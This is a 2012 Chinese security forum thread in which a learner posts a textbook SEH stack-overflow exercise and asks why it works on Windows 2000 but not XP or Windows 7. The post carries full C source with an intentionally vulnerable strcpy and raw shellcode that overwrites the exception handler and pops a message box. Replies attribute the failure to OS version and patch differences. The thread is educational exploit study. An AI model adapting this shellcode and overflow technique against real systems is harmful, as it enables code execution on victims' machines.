首页
社区
课程
招聘
[旧帖] [求助]这算是《0day》书中的错误吗? 0.00雪花
发表于: 2012-11-3 13:12 1399

[旧帖] [求助]这算是《0day》书中的错误吗? 0.00雪花

2012-11-3 13:12
1399
鄙人最在学习《0day》   发现了一个问题!

第一部书中
栈溢出中利用SEH  这个实验在WIN2000下进行
当然很顺利
如图:


代码为:
#include "stdafx.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   
"\x98\xFE\x12\x00"
;

DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 0;
}
void test(char * input)
{
        char buf[200];       
    int zero=0;

        __try
        {
                strcpy(buf,input);
            zero=4/zero;
        }
        __except(MyException())
        {
        }
}
main()
{
        test(shellcode);
}

但是换到了XP 或 WIN7 中只是闪框就没有了
这是我的错误?
在线请教大牛解答!

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 59
活跃值: (142)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
怎么没人回答啊!!!!!!!!!!!!!!!!!!!!!!!!!求回答
2012-11-3 16:35
0
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
漏洞利用对环境要求很严的,可能有时候换了版本或安装了补丁就不行了。
2012-11-3 16:41
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
楼上说的对~我以前看《黑手》的时候,里面好多文章对系统的要求不一样~实验往往不一定成功。
2012-11-3 19:45
0
雪    币: 45
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
请问楼主用的是win2000 sp几?我用的sp4跟书里面有些内容不符啊
2012-12-8 21:43
0
雪    币: 79
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
缓冲区溢出漏洞中很多对系统有严格要求,换了系统,代码就要修改,特别是在Win7中,现在漏洞很少了
2012-12-9 15:49
0
游客
登录 | 注册 方可回帖
返回
//